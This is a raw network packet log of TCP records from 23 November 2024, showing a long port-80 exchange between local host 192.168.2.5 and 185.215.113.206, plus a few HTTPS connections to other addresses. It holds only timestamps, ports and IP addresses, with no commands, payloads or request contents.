Nov 23, 2024 01:14:31.651371956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651407003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651421070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651441097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651464939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651473999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651489019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651510000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651544094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651545048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651571035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651578903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651578903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651612997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651647091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651657104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651686907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651696920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651706934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651727915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651731014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651752949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651765108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651798010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651813030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651844978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651878119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651895046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651912928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651926041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.651947975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651982069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.651988983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652014971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652048111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652079105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652081966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652093887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652117014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652124882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652151108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652198076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652198076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652234077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652266979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652277946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652301073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652318954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652334929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652368069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652395964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652404070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652415991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652436972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652446985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652472019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652504921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652518988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652539015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652559042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652573109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652587891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652607918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652640104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652666092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652676105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652693033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652709961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652724981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652744055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652789116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652791977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652822971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652857065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652885914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652885914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652889967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652906895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652924061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652956963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.652966022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.652990103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653027058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653045893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653059959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653080940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653095961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653110981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653129101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653137922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653163910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653197050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653229952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653244019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653264046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653297901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653301001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653322935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653331041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653342962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653366089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653400898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653438091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.653450012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.653630018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.658869028 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.658884048 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.704212904 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.704222918 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.761945009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.762042046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.787384033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.787452936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.787535906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.787596941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.787637949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.787707090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.787722111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.787930965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.788608074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.788659096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.788661003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.788728952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.789571047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.789624929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.789707899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.789752007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.790544033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.790658951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.790699005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.790709019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.791507959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.791559935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.791615009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.791763067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.792463064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.792576075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.792612076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.792623043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.793432951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.793483019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.793545008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.793651104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.794406891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.794457912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.794534922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.794578075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.795381069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.795459032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.795499086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.795574903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.796335936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.796390057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.796454906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.796535015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.797342062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.797451019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.797489882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.797566891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.798309088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.798428059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.798466921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.798527002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.799257040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.799371004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.799505949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.800244093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.800334930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.800407887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.801233053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.801296949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.801296949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.801418066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.802175999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.802226067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.802325010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.802428007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.803148031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.803205013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.803284883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.803333998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.804100990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.804161072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.804214001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.805114985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.805167913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.805246115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.805962086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.806051016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.806135893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.806185961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.807018995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.807090044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.807127953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.807279110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.807960987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.808022976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.808058023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.808096886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.808948994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.808998108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.809031963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.809070110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.809911013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.810019970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.810090065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.810879946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.810940981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.810946941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.811194897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.811846972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.811903000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.811960936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.812390089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.812800884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.812884092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.812957048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.813152075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.813772917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.813822031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.813884020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.813922882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.814743042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.814841032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.814846992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.814944983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.815686941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.815741062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.815809011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.815859079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.816662073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.816719055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.816745043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.816823006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.817651987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.817773104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.817821980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.818625927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.818748951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.818908930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.818953037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.819580078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.819690943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.819746017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.820538044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.820672035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.820676088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.820723057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.821512938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.821561098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.821602106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.821674109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.822480917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.822508097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.822530031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.822602987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.823446989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.823496103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.823559046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.823601961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.824434996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.824539900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.824585915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.825393915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.825449944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.825483084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.825587034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.826349974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.826395988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.826445103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.826495886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.827344894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.827390909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.827416897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.827503920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.828435898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.828556061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.828692913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.829269886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.829324007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.829358101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.829463959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.830236912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.830295086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.830336094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.830508947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.831219912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.831273079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.831321955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.831474066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.832257032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.832273006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.832303047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.832329988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.832531929 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.832581043 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.832669020 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.833149910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.833237886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.833261013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.833272934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.833513975 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.833729982 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.834121943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.834261894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.834279060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.834301949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.834837914 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.834855080 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.835089922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.835185051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.835191011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.835295916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.836009026 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.836021900 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.836054087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.836097956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.836157084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.836237907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.836312056 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.836319923 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.836602926 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.836946964 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.837014914 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.837028980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.837085009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.837126017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.837260962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.837701082 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.837754965 CET	443	49833	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.837975025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.838022947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.838160992 CET	49835	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.838216066 CET	443	49835	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.876940012 CET	49833	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.884675026 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.885066986 CET	49834	443	192.168.2.5	23.49.251.29
Nov 23, 2024 01:14:31.885097980 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.886205912 CET	443	49834	23.49.251.29	192.168.2.5
Nov 23, 2024 01:14:31.886645079 CET	49834	443	192.168.2.5	23.49.251.29
